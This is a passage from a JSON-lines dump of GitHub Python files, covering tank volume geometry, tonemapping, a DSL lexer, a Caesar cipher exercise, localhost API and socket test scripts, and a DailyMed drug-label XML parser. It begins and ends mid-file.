and D are known, get L_over_D\n            self.L_over_D = self.L/self.D\n        elif self.D and self.L_over_D:\n            # Otherwise, if L_over_D and D are provided, get L\n            self.L = self.D*self.L_over_D\n        elif self.L and self.L_over_D:\n            # Otherwise, if L_over_D and L are provided, get D\n            self.D = self.L/self.L_over_D\n\n        # Calculate diameter\n        self.R = self.D/2.\n\n        # If a_ratio is provided for either heads, use it.\n        if self.sideA and self.D:\n            if not self.sideA_a and self.sideA in ['conical', 'ellipsoidal', 'guppy', 'spherical']:\n                self.sideA_a = self.D*self.sideA_a_ratio\n        if self.sideB and self.D:\n            if not self.sideB_a and self.sideB in ['conical', 'ellipsoidal', 'guppy', 'spherical']:\n                self.sideB_a = self.D*self.sideB_a_ratio\n\n        # Calculate a for torispherical heads\n        if self.sideA == 'torispherical' and self.sideA_f and self.sideA_k:\n            self.sideA_a = a_torispherical(self.D, self.sideA_f, self.sideA_k)\n        if self.sideB == 'torispherical' and self.sideB_f and self.sideB_k:\n            self.sideB_a = a_torispherical(self.D, self.sideB_f, self.sideB_k)\n\n        # Calculate maximum tank height, h_max\n        if self.horizontal:\n            self.h_max = self.D\n        else:\n            self.h_max = self.L\n            if self.sideA_a:\n                self.h_max += self.sideA_a\n            if self.sideB_a:\n                self.h_max += self.sideB_a\n\n        # Set maximum height\n        self.V_total = self.V_from_h(self.h_max)\n\n    def V_from_h(self, h):\n        r'''Method to calculate the volume of liquid in a fully defined tank\n        given a specified height `h`. `h` must be under the maximum height.\n\n        Parameters\n        ----------\n        h : float\n            Height specified, [m]\n\n        Returns\n        -------\n        V : float\n            Volume of liquid in the tank up to the specified height, [m^3]\n        '''\n        V = V_from_h(h, self.D, self.L, self.horizontal, self.sideA, self.sideB,\n                 self.sideA_a, self.sideB_a, self.sideA_f, self.sideA_k,\n                 self.sideB_f, self.sideB_k)\n        return V\n\n    def h_from_V(self, V):\n        r'''Method to calculate the height of liquid in a fully defined tank\n        given a specified volume of liquid in it `V`. `V` must be under the\n        maximum volume. If interpolation table is not yet defined, creates it\n        by calling the method set_table.\n\n        Parameters\n        ----------\n        V : float\n            Volume of liquid in the tank up to the desired height, [m^3]\n\n        Returns\n        -------\n        h : float\n            Height of liquid at which the volume is as desired, [m]\n        '''\n        if not self.table:\n            self.set_table()\n        h = float(self.interp_h_from_V(V))\n        return h\n\n    def set_table(self, n=100, dx=None):\n        r'''Method to set an interpolation table of liquids levels versus\n        volumes in the tank, for a fully defined tank. Normally run by the\n        h_from_V method, this may be run prior to its use with a custom\n        specification. Either the number of points on the table, or the\n        vertical distance between steps may be specified.\n\n        Parameters\n        ----------\n        n : float, optional\n            Number of points in the interpolation table, [-]\n        dx : float, optional\n            Vertical distance between steps in the interpolation table, [m]\n        '''\n        if dx:\n            self.heights = np.linspace(0, self.h_max, int(self.h_max/dx)+1)\n        else:\n            self.heights = np.linspace(0, self.h_max, n)\n        self.volumes = [self.V_from_h(h) for h in self.heights]\n        self.interp_h_from_V = interp1d(self.volumes, self.heights)\n        self.table = True\n\n\n    def _V_solver_error(self, Vtarget, D, L, horizontal, sideA, sideB, sideA_a,\n                       sideB_a, sideA_f, sideA_k, sideB_f, sideB_k,\n                       sideA_a_ratio, sideB_a_ratio):\n        '''Function which uses only the variables given, and the TANK\n        class itself, to determine how far from the desired volume, Vtarget,\n        the volume produced by the specified parameters in a new TANK instance\n        is. Should only be used by solve_tank_for_V method.\n        '''\n        a = TANK(D=float(D), L=float(L), horizontal=horizontal, sideA=sideA, sideB=sideB,\n                 sideA_a=sideA_a, sideB_a=sideB_a, sideA_f=sideA_f,\n                 sideA_k=sideA_k, sideB_f=sideB_f, sideB_k=sideB_k,\n                 sideA_a_ratio=sideA_a_ratio, sideB_a_ratio=sideB_a_ratio)\n        error = abs(Vtarget - a.V_total)\n        return error\n\n\n    def solve_tank_for_V(self):\n        '''Method which is called to solve for tank geometry when a certain\n        volume is specified. Will be called by the __init__ method if V is set.\n\n        Notes\n        -----\n        Raises an error if L and either of sideA_a or sideB_a are specified;\n        these can only be set once D is known.\n        Raises an error if more than one of D, L, or L_over_D are specified.\n        Raises an error if the head ratios are not provided.\n\n        Calculates initial guesses assuming no heads are present, and then uses\n        fsolve to determine the correct dimentions for the tank.\n\n        Tested, but bugs and limitations are expected here.\n        '''\n        if self.L and (self.sideA_a or self.sideB_a):\n            raise Exception('Cannot specify head sizes when solving for V')\n        if (self.D and self.L) or (self.D and self.L_over_D) or (self.L and self.L_over_D):\n            raise Exception('Only one of D, L, or L_over_D can be specified\\\n            when solving for V')\n        if ((self.sideA and not self.sideA_a_ratio) or (self.sideB and not self.sideB_a_ratio)):\n            raise Exception('When heads are specified, head parameter ratios are required')\n\n        if self.D:\n            # Iterate until L is appropriate\n            solve_L = lambda L: self._V_solver_error(self.V, self.D, L, self.horizontal, self.sideA, self.sideB, self.sideA_a, self.sideB_a, self.sideA_f, self.sideA_k, self.sideB_f, self.sideB_k, self.sideA_a_ratio, self.sideB_a_ratio)\n            Lguess = self.V/(pi/4*self.D**2)\n            self.L = float(fsolve(solve_L, Lguess))\n        elif self.L:\n            # Iterate until D is appropriate\n            solve_D = lambda D: self._V_solver_error(self.V, D, self.L, self.horizontal, self.sideA, self.sideB, self.sideA_a, self.sideB_a, self.sideA_f, self.sideA_k, self.sideB_f, self.sideB_k, self.sideA_a_ratio, self.sideB_a_ratio)\n            Dguess = (4*self.V/pi/self.L)**0.5\n            self.D = float(fsolve(solve_D, Dguess))\n        else:\n            # Use L_over_D until L and D are appropriate\n            Lguess = (4*self.V*self.L_over_D**2/pi)**(1/3.)\n            solve_L_D = lambda L: self._V_solver_error(self.V, L/self.L_over_D, L, self.horizontal, self.sideA, self.sideB, self.sideA_a, self.sideB_a, self.sideA_f, self.sideA_k, self.sideB_f, self.sideB_k, self.sideA_a_ratio, self.sideB_a_ratio)\n            self.L = float(fsolve(solve_L_D, Lguess))\n            self.D = self.L/self.L_over_D\n\n#\n#test = TANK(D=10., L=100., horizontal=True, sideA='spherical', sideB='ellipsoidal',\n#            sideA_a=2., sideB_a=2.)\n#print test.V_total\n#print test.V_from_h(9.2)\n#\n#test = TANK(D=10., L=100., horizontal=True, sideA='conical', sideB='conical',\n#            sideA_a=2., sideB_a=2.)\n##\n#import matplotlib.pyplot as plt\n#print test.heights\n##\n#plt.plot(test.heights, test.volumes)\n#plt.show()\n#print [TANK(D=10., horizontal=True, sideA='conical', sideB='conical', V=500).L]\n#print [TANK(L=4.69953105701, horizontal=True, sideA='conical', sideB='conical', V=500).D]\n#print [TANK(L_over_D=0.469953105701, horizontal=True, sideA='conical', sideB='conical', V=500).L]\n##\n#print 'hi'\n#print [TANK(D=10., horizontal=False, sideA='conical', sideB='conical', V=500).L]\n#print [TANK(L=4.69953105701, horizontal=False, sideA='conical', sideB='conical', V=500).D]\n#print [TANK(L_over_D=0.469953105701, horizontal=False, sideA='conical', sideB='conical', V=500).L]\n#\n#print [TANK(D=1.2, L=4, horizontal=False).h_from_V(.5)]","repo_name":"CalebBell/chedl","sub_path":"fluids/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":53478,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"16"}
+{"seq_id":"19719924819","text":"class Sport(object):\n    def __init__(self, id, type, name, minAge, city, onlyDisabled, visionImpairment, quad, expReq):\n        self.id = id\n        self.type = type\n        self.name = name\n        self.minAge = minAge\n        self.city = city\n        self.onlyDisabled = onlyDisabled\n        self.visionImpairment = visionImpairment\n        self.quad = quad\n        self.expReq = expReq\n        \n    def toString(self):\n        result = \"\"\n        result = result + self.type + \" through \" + self.name + \" in \" + self.city\n        \n        if self.onlyDisabled == True:\n            result = result + \" open to participants with \"\n            if self.visionImpairment:\n                result = result + \" a visual impairment \"\n            if self.quad:\n                result = result + \" quadriplegia \"\n        else:\n            result = result + \" open to participants of all abilities \"\n            \n        if self.minAge == 0:\n            result = result + \"no minimum age requirement \"\n        else:\n            result = result + \"must be at least \" + str(self.minAge) + \" years old \"\n            \n        if self.expReq:\n            result = result + \"prior experience needed.\"\n            \n        else:\n            result = result + \"no previous experience required.\"\n        \n        return result","repo_name":"sstone93/comp4106project","sub_path":"sport.py","file_name":"sport.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43327189974","text":"import numpy as np\nimport re\nimport os\nimport matplotlib.pyplot as plt\nfrom skimage import (\n    color,io,filters,util\n)\nfrom readEXR import readEXR\n\nfrom cp_hw2 import lRGB2XYZ, XYZ2lRGB, writeEXR, read_colorchecker_gm\n\n\ndef gammaEncode(img_linear):\n    img_gamma = np.where(img_linear <= 0.0031308, 12.92*img_linear,\n                         (1+0.055)*np.power(img_linear, 1/2.4)-0.055)\n    return img_gamma\n\ndef tonemapping(img_HDR,tonemap_type,K,B,pixelNum,epsilon):\n    img_TM = np.zeros_like(img_HDR)\n    if tonemap_type == \"all_channel\":\n        for channel in range(0,3):  # iterate color channel\n            im_HDR = np.exp((1/pixelNum) * np.sum(np.log(img_HDR[:,:,channel] + epsilon)))   # im_HDR: scalar\n            img_HDR_bar = (K / im_HDR) * img_HDR[:,:,channel]                      # img_HDR_bar: W*H\n            i_white = B * np.amax(img_HDR_bar)                                 # i_white: scalar\n            img_TM[:,:,channel] = np.divide(np.multiply(img_HDR_bar, (1+np.divide(img_HDR_bar, i_white**2 ))),\n                                  1 + img_HDR_bar)\n\n    if tonemap_type == \"luminance\":\n        # convert to XYZ\n        img_XYZ = lRGB2XYZ(img_HDR)\n        # convert to xyY\n        img_xyY = np.zeros_like(img_XYZ)\n        img_xyY[:,:,0] = np.divide(img_XYZ[:,:,0], img_XYZ[:,:,0]+img_XYZ[:,:,1]+img_XYZ[:,:,2])\n        img_xyY[:,:,1] = np.divide(img_XYZ[:,:,1], img_XYZ[:,:,0]+img_XYZ[:,:,1]+img_XYZ[:,:,2])\n        img_xyY[:,:,2] = img_XYZ[:,:,1]\n\n        img_lum = img_xyY[:,:,2]                # extract lumninance Y\n        # tone map Y\n        im_HDR = np.exp((1 / pixelNum) * np.sum(np.log(img_lum + epsilon)))  # im_HDR: scalar\n        img_HDR_bar = (K / im_HDR) * img_lum                                # img_HDR_bar: W*H\n        i_white = B * np.amax(img_HDR_bar)                                  # i_white: scalar\n        img_lum = np.divide(np.multiply(img_HDR_bar, (1 + np.divide(img_HDR_bar, i_white ** 2))),\n                            1 + img_HDR_bar)\n        img_xyY[:,:,2] = img_lum\n\n        # convert back to XYZ\n        img_XYZ[:,:,0] = np.divide(np.multiply(img_xyY[:,:,0],img_xyY[:,:,2]),img_xyY[:,:,1] ,\n                                   out=np.zeros_like(img_XYZ[:,:,0]),\n                                   where=img_xyY[:,:,1]!=0)\n        img_XYZ[:,:,1] = np.where(img_xyY[:,:,1]==0,0,img_xyY[:,:,2])\n        img_XYZ[:,:,2] = np.divide(np.multiply((1-img_xyY[:,:,0]-img_xyY[:,:,1]),img_xyY[:,:,2]),img_xyY[:,:,1],\n                                   out=np.zeros_like(img_XYZ[:,:,2]),\n                                   where=img_xyY[:,:,1]!=0)\n        # nan is where y == 0, make all to 0\n        # img_XYZ = np.where(img_XYZ == np.NAN, 0, img_XYZ)\n\n        # conver back to RGB\n        img_TM = XYZ2lRGB(img_XYZ)\n\n    return img_TM\n\n\nif __name__ == \"__main__\":\n    imgName = \"../data/myImg_RAW_optimal_log_noGamma.EXR\"\n    img_HDR = readEXR(imgName)\n    [W,H,C] = img_HDR.shape\n\n    # tonemapping\n    tonemap_type = \"luminance\"  # tonemapping type: all_channel/luminance\n    K = 0.15  # key\n    B = 0.95  # burn\n    # K = 0.55\n    # B = 0.95\n    pixelNum = W * H\n    epsilon = 0.0001\n\n    img_TM = tonemapping(img_HDR, tonemap_type, K, B, pixelNum, epsilon)\n\n    io.imshow(gammaEncode(img_TM))\n    plt.show()\n    writeEXR(\"noiseOptimal_Tonemap_\"+tonemap_type+\"_K\"+str(K)+\"_B\"+str(B)+\".EXR\", img_TM)\n\n\n\n\n\n","repo_name":"wenxuanou/HDR_synthesizer","sub_path":"src/Tonemapping.py","file_name":"Tonemapping.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70077927047","text":"import re\nfrom abc import ABC, abstractmethod\nfrom typing import Any, ClassVar\n\nfrom dsl.models.exceptions import DSLSyntaxError\nfrom dsl.models.symbols import TerminalSymbol\nfrom dsl.models.symbols.terminals import (\n    AndLiteral,\n    AttributeLiteral,\n    BoolLiteral,\n    CommaLiteral,\n    CountLiteral,\n    DivLiteral,\n    ElifLiteral,\n    ElseLiteral,\n    EqualLiteral,\n    FloatLiteral,\n    GreaterThanLiteral,\n    GreaterThanOrEqualLiteral,\n    IfLiteral,\n    IndexingLiteral,\n    IntegerLiteral,\n    InvalidSymbol,\n    LeftParenthesisLiteral,\n    LeftSquareBracketLiteral,\n    LessThanLiteral,\n    LessThanOrEqualLiteral,\n    MinusLiteral,\n    ModLiteral,\n    MultLiteral,\n    NoneLiteral,\n    NotEqualLiteral,\n    NotLiteral,\n    OrLiteral,\n    PlusLiteral,\n    ReturnLiteral,\n    RightParenthesisLiteral,\n    RightSquareBracketLiteral,\n    StringLiteral,\n    ThenLiteral,\n    VariableLiteral,\n)\n\n\nclass Lexer(ABC):\n    DEFAULT_BASE_SYMBOLS: ClassVar[list[type[TerminalSymbol]]] = [\n        IndexingLiteral,\n        LeftSquareBracketLiteral,\n        RightSquareBracketLiteral,\n        CommaLiteral,\n        ReturnLiteral,\n        IfLiteral,\n        ElifLiteral,\n        ThenLiteral,\n        ElseLiteral,\n        CountLiteral,\n        DivLiteral,\n        MultLiteral,\n        ModLiteral,\n        PlusLiteral,\n        MinusLiteral,\n        GreaterThanOrEqualLiteral,\n        LessThanOrEqualLiteral,\n        LessThanLiteral,\n        GreaterThanLiteral,\n        EqualLiteral,\n        NotEqualLiteral,\n        NotLiteral,\n        AndLiteral,\n        OrLiteral,\n        LeftParenthesisLiteral,\n        RightParenthesisLiteral,\n        BoolLiteral,\n        NoneLiteral,\n        StringLiteral,\n        AttributeLiteral,\n        VariableLiteral,\n        FloatLiteral,\n        IntegerLiteral,\n        InvalidSymbol,\n    ]\n\n    @abstractmethod\n    def tokenize(self, input_string: str) -> list[TerminalSymbol]:\n        \"\"\"Return a list of terminals for a given input string.\"\"\"\n        ...\n\n\nclass DefaultLexer(Lexer):\n    def __init__(\n        self,\n        variables: dict[str, Any] | None = None,\n        inclusions: list[type[TerminalSymbol]] | None = None,\n        exclusions: list[type[TerminalSymbol]] | None = None,\n        base_symbols: list[type[TerminalSymbol]] | None = None,\n    ):\n        self.variables = variables or {}\n\n        symbols = {\n            s.__name__: s for s in base_symbols or self.DEFAULT_BASE_SYMBOLS\n        }\n        self.inclusions = {s.__name__: s for s in inclusions or []} | symbols\n        for symbol in exclusions or []:\n            self.inclusions.pop(symbol.__name__, None)\n\n        # Create a regex matching map of symbols regexes to their name\n        regexes = [\n            f\"(?P<{name}>{sym.regex})\" for name, sym in self.inclusions.items()\n        ]\n        self.pattern = re.compile(r\"|\".join(regexes))\n\n    def tokenize(self, input_string: str) -> list[TerminalSymbol]:\n        \"\"\"\n        Return a list of validated token objects from a given input string\n        :param input_string: The input_string to split.\n        :return: A list of Tokens obtained by splitting the input string.\n        \"\"\"\n        tokens = []\n        for match in re.finditer(self.pattern, input_string):\n            lexeme = match.group()\n            symbol = self.inclusions[str(match.lastgroup)]\n            if symbol == VariableLiteral:\n                token = symbol(lexeme=lexeme, variables=self.variables)\n            else:\n                token = symbol(lexeme=lexeme)\n            tokens.append(token)\n        self.validate_tokens(tokens)\n        return tokens\n\n    @staticmethod\n    def validate_tokens(tokens: list[TerminalSymbol]) -> None:\n        \"\"\"\n        Validate a list of symbols to ensure symbols are valid\n        :param tokens: A list of token objects.\n        :return: None\n        \"\"\"\n        for token in tokens:\n            # Disallow invalid symbols\n            if isinstance(token, InvalidSymbol):\n                raise DSLSyntaxError(f\"Unknown syntax {token.lexeme}.\")\n","repo_name":"JohN100x1/Recursive-Descent-Parser","sub_path":"src/dsl/lexers.py","file_name":"lexers.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"427707317","text":"\nMAX_KEY_SIZE = 26\n\ndef getMode():\n\n    # Loops until user inputs Encrypt, e, decrypt or d\n    while True:\n        print(\"Do you wish to encrypt or decrypt a message?\")\n\n        mode = input().lower()\n\n        if mode in 'encrypt e decrypt d'.split():\n            return mode\n        else:\n            print(\"Enter either 'Encrypt' or 'e' or 'decrypt' or 'd'.\")\n\ndef getMessage():\n    # User enters the message they wish to encrypt/decrypt\n    message = input(\"Enter your message: \")\n    return message\n\ndef getKey():\n    key = 0\n    # User enters the key size they would like to use between 1 and 26\n    while True:\n        print(\"Enter the key number 1-\"f'{MAX_KEY_SIZE}'\":\")\n        key = int(input())\n        if (key>=1 and key <= MAX_KEY_SIZE):\n            return key\n\ndef getTranslatedMessage(mode, message, key):\n    # key = -key alerts program if we want to decrpyt the message\n    if mode[0] == 'd':\n         key = -key\n    translated=''\n\n    # Conditions that make the message encrypted or decrypted based upon location\n    for symbol in message:\n        if symbol.isalpha():\n            num = ord(symbol)\n            num += key\n\n            if symbol.isupper():\n                if num > ord('Z'):\n                    num -=26\n                elif num < ord('A'):\n                    num += 26\n            elif symbol.islower():\n                if num > ord('z'):\n                    num -= 26\n                elif num < ord('a'):\n                    num += 26\n\n            translated += chr(num)\n        else:\n            translated += symbol\n    return translated\n\n# Calls all of the functions\n\nmode = getMode()\nmessage = getMessage()\nkey = getKey()\n\n\nprint('Your translated text is: ')\nprint(getTranslatedMessage(mode,message,key))\n\n\n","repo_name":"habeckmatt/PythonPractice","sub_path":"caesar_cipher.py","file_name":"caesar_cipher.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11005634854","text":"numbers = [float(num) for num in input().split(\" \")]\n\noccurrences = {}\n\nfor n in numbers:\n    if n not in occurrences:\n        occurrences[n] = 0\n    occurrences[n] += 1\n\nfor (key, value) in occurrences.items():\n    print(f\"{key} - {value} times\")","repo_name":"GalyaBorislavova/SoftUni_Python_Advanced_May_2021","sub_path":"2_Tuples_and_sets/01. Count Same Values.py","file_name":"01. Count Same Values.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5649462869","text":"\"\"\"\nClass DrawWorld is used to draw the world to the screen.\n\"\"\"\n# Importing modules\nimport itertools\nimport pygame\nfrom constants import SPRITE_SHEET_PATH, TILE_SIZE, TILE_SCALE\nfrom constants import WORLD_X, WORLD_Y, TILE_GRASS, TILE_FOREST_N, sprite_tiles\nfrom constants import DARK_GREY, GREY, GREEN, WHITE\n\n\nclass DrawWorld:\n    \"\"\"\n    Class DrawWorld is used to draw the world to the screen.\n    \"\"\"\n\n    def __init__(self, world):\n        \"\"\"\n        Constructor for Class DrawWorld\n        \"\"\"\n        self.font_16 = pygame.font.Font(pygame.font.get_default_font(), 16)\n        self.font_10 = pygame.font.Font(pygame.font.get_default_font(), 10)\n        self.font_8 = pygame.font.Font(pygame.font.get_default_font(), 8)\n        self.spritesheet = pygame.image.load(SPRITE_SHEET_PATH).convert_alpha()\n        self.world = world\n        self.world_surface = pygame.Surface(\n            (WORLD_X * TILE_SIZE * TILE_SCALE, WORLD_Y * TILE_SIZE * TILE_SCALE)\n        )\n\n    def update(self):\n        \"\"\"\n        Updates the world surface\n        \"\"\"\n        lowest_entropy = self.world.get_the_lowest_entrophy()\n        # Draw the world\n        for y, x in itertools.product(range(WORLD_Y), range(WORLD_X)):\n            tile_entropy = self.world.get_entrophy(x, y)\n            tile_type = self.world.get_type(x, y)\n            # Draw the tile\n            if tile_entropy > 0:\n                tile_image = pygame.Surface((TILE_SIZE, TILE_SIZE))\n                # set the alpha value of the surface\n                if tile_entropy == 27:\n                    text_surface = self.font_8.render(\n                        str(tile_entropy), True, DARK_GREY\n                    )\n                    tile_image.blit(text_surface, (3, 3))\n                elif tile_entropy >= 10:\n                    text_surface = self.font_10.render(str(tile_entropy), True, GREY)\n                    tile_image.blit(text_surface, (2, 3))\n                else:\n                    text_surface = (\n                        self.font_16.render(str(tile_entropy), True, GREEN)\n                        if tile_entropy == lowest_entropy\n                        else self.font_16.render(str(tile_entropy), True, WHITE)\n                    )\n                    tile_image.blit(text_surface, (4, 1))\n            elif tile_type < TILE_FOREST_N:\n                pos = sprite_tiles[tile_type]\n                tile_image = self.spritesheet.subsurface(\n                    pygame.Rect(pos[0], pos[1], TILE_SIZE, TILE_SIZE)\n                )\n            else:  # Forest needs a grass tile to be drawn first\n                pos = sprite_tiles[TILE_GRASS]\n                tile_image = self.spritesheet.subsurface(\n                    pygame.Rect(pos[0], pos[1], TILE_SIZE, TILE_SIZE)\n                )\n                tile_image = pygame.transform.scale_by(\n                    tile_image, (TILE_SCALE, TILE_SCALE)\n                )\n                self.world_surface.blit(\n                    tile_image, (x * TILE_SIZE * TILE_SCALE, y * TILE_SIZE * TILE_SCALE)\n                )\n                pos = sprite_tiles[tile_type]\n                tile_image = self.spritesheet.subsurface(\n                    pygame.Rect(pos[0], pos[1], TILE_SIZE, TILE_SIZE)\n                )\n\n            tile_image = pygame.transform.scale_by(tile_image, (TILE_SCALE, TILE_SCALE))\n            self.world_surface.blit(\n                tile_image, (x * TILE_SIZE * TILE_SCALE, y * TILE_SIZE * TILE_SCALE)\n            )\n\n    def draw(self, display_surface):\n        \"\"\"\n        Draws the world to the screen\n        \"\"\"\n        display_surface.blit(self.world_surface, (0, 0))\n","repo_name":"gmirsky/wave_function_collapse","sub_path":"class_draw_world.py","file_name":"class_draw_world.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13964034791","text":"# encoding: utf-8\n# -*- coding: utf-8 -*-\n# author = ‘LW’\n\nimport requests, json\n\n\"\"\"\nurl = 'http://127.0.0.1:8000/idcs/'\n\n# 添加用户组\nres = requests.post(url, json={'name': '北京机房16', 'address': '北京5', 'phone': '12345678', 'email': '123@123.com'})\nprint('添加：', res.text)\n\n\nidc = json.loads(res.text)\n# print(idc)\n\nurl = 'http://127.0.0.1:8000/idcs/' + str(idc['id']) + '/'\n\nres = requests.put(url, {'name': '北京机房00-修改', 'address': '北京1-修改', 'phone': '123456780', 'email': '000@123.com'})\nprint('修改：', res.text)\n\nurl = 'http://127.0.0.1:8000/idcs/' + str(idc['id']) + '/'\nres = requests.delete(url)\nprint('删除：', res.text)\n\nurl = 'http://127.0.0.1:8000/idcs/1/'\n\nres = requests.put(url, json={'name': '北京机房22', 'address': '北京22-修改', 'phone': '123456780', 'email': '222@123.com'})\nprint('修改：', res.text)\n\nurl = 'http://127.0.0.1:8000/idcs/15/'\nres = requests.delete(url)\nprint('删除：', res.status_code)\n\"\"\"\n\nurl = 'http://127.0.0.1:8000/idcs/1/'\n\nres = requests.put(url, json={'name': '北京机房22', 'address': '北京22-修改', 'phone': '123456780', 'email': '222@123.com'})\nprint('修改：', res.text)\n\n\n\n\n","repo_name":"49257620/devops","sub_path":"dashboard/test_tmp/local_test_idc.py","file_name":"local_test_idc.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34880027575","text":"import socket\nimport struct\nimport time\n\nHOST = '127.0.0.1'  # Standard loopback interface address (localhost)\nPORT = 65432        # Port to listen on (non-privileged ports are > 1023)\n\n# create an INET, STREAMing socket\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n  # bind the socket to a public host, and a well-known port\n  s.bind((HOST, PORT))\n  # become a server socket\n  s.listen(1)\n\n  while True:\n    # accept connections from outside\n    (clientsocket, address) = s.accept()\n\n    with open('stream') as fp:\n      for line in fp:\n        clientsocket.send(line.encode('utf8'))\n        print(\"line:\", line)\n        time.sleep(int(line) / 1000.0) #\n      clientsocket.send(\"eof\".encode('utf8'))\n","repo_name":"Iepoev/Thesis","sub_path":"implementatie/data/hr_streamer.py","file_name":"hr_streamer.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4028990642","text":"import re\nimport time\nimport pandas as pd\nimport requests\nimport os\nfrom lxml import etree\nfrom datetime import datetime\nfrom orderedset import OrderedSet\nimport argparse\n\nparser = argparse.ArgumentParser(description='Download data')\n\nparser.add_argument('--SPL-path', '-s', required=True, type=str,\n    help='SPL data path.')\nparser.add_argument('--URL', '-u', required=True, type=str,\n    help='DailyMed URL.')\n\nargs = parser.parse_args()\n\nDAILYMED_SPL = args.SPL_path\nDAILYMED_SPL_URL = args.URL\nDAILYMED_ORIGIN = 'dm_spl_zip_files_meta_data.txt'\nDAILYMED_RAW = 'dailymed_raw.csv'\nDAILYMED_ERROR = 'dailymed_error.csv'\nDAILYMED_SPL_ERROR = 'dailymed_spl_error.csv'\nDAILYMED_REMAP = 'dailymed_remap.csv'\n\nnamespaces = {\"v\": \"urn:hl7-org:v3\"}\n\n\nclass style:\n    BOLD = '\\033[1m'\n    END = '\\033[0m'\n\n\ndef printbold(string):\n    print(''.join(style.BOLD + '\\n' + string + style.END))\n\n\nclass SPL:\n    def __init__(self, xmlString):\n        p = etree.XMLParser(huge_tree=True)\n        self.xml = etree.fromstring(xmlString, p)\n\n    @property\n    def Drug_Name(self):\n        try:\n            name = self.xml.xpath(\"//v:manufacturedProduct/v:manufacturedProduct/v:name\"\n                                  \"| //v:manufacturedProduct/v:manufacturedMedicine/v:name\", namespaces=namespaces)\n\n            return name[0].text.replace(\"\\t\", \"\").replace(\"\\n\", \"\")\n        except:\n            return \"\"\n\n    @property\n    def NDCs(self):\n        try:\n            ndcs = self.xml.xpath(\"//v:manufacturedProduct/v:manufacturedProduct/v:code/@code\"\n                                  \"| //v:manufacturedProduct/v:manufacturedMedicine/v:code/@code\",\n                                  namespaces=namespaces)\n            return ndcs\n        except:\n            return \"\"\n\n    @property\n    def Effective_Date(self):\n        try:\n            date = self.xml.xpath(\"//v:effectiveTime/@value\", namespaces=namespaces)\n            date[0] = date[0][0:8]\n            date = datetime.strptime(date[0], '%Y%m%d')\n            return date\n        except:\n            return \"\"\n\n    @property\n    def Box_Warning(self):  # \"ENTRESTO\":box_warning repeated!!!\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='34066-1']/..//v:title\"\n                                                      \"| //v:code[@code='34066-1']/..//v:paragraph\"\n                                                      \"| //v:code[@code='34066-1']/..//v:item\",\n                                                      namespaces=namespaces))\n            excerpt_section_paragraphs = (self.xml.xpath(\"//v:code[@code='34066-1']/..//v:excerpt//v:title\"\n                                                         \" | //v:code[@code='34066-1']/..//v:excerpt//v:paragraph\"\n                                                         \" | //v:code[@code='34066-1']/..//v:excerpt//v:item\",\n                                                         namespaces=namespaces))\n            note_section_paragraphs = filter(lambda x: x not in excerpt_section_paragraphs, note_section_paragraphs)\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n\n    # \tINDICATIONS & USAGE SECTION - 34067-9\n\n    @property\n    def Indication(self):  # TODO: much to do for short summary\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='34067-9']/..//v:title\" \n                                                      \" | //v:code[@code='34067-9']\"\"/..//v:paragraph\"\n                                                      \" | //v:code[@code='34067-9']/..//v:item\",\n                                                      namespaces=namespaces))\n            excerpt_section_paragraphs = (self.xml.xpath(\"//v:code[@code='34067-9']/..//v:excerpt//v:title\" \n                                                         \" | //v:code[@code='34067-9']/..//v:excerpt//v:paragraph\"\n                                                         \" | //v:code[@code='34067-9']/..//v:excerpt//v:item\",\n                                                         namespaces=namespaces))\n            note_section_paragraphs = filter(lambda x: x not in excerpt_section_paragraphs, note_section_paragraphs)\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    # INFORMATION FOR PATIENTS SECTION - 34076-0\n    @property\n    def Information_for_Patients(self):  # why 'Route of Administration'?\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='34076-0']\"\"/..//v:paragraph\",\n                                                      namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            \"\"\" for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n            \"\"\"\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    # Dosage and Administration with Dosing Regimen\n    ## DOSAGE & ADMINISTRATION SECTION\n\n    @property\n    def Dosage_Administration(self):  # TODO: subtitles in BOLD\n\n        \"\"\"\n        note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='34068-7']\" \"/following-sibling::v:paragraph[1]\",\n            namespaces=namespaces))\n        \"\"\"\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='34068-7']/..//v:title\"\n                                                      \"| //v:code[@code='34068-7']/..//v:paragraph\"\n                                                      \"| 